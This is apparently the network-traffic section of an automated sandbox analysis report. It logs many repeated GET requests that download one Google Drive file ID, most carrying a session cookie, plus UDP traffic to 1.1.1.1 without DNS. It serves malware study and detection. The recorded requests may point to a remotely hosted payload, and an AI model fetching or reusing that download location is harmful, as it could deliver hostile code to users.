Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
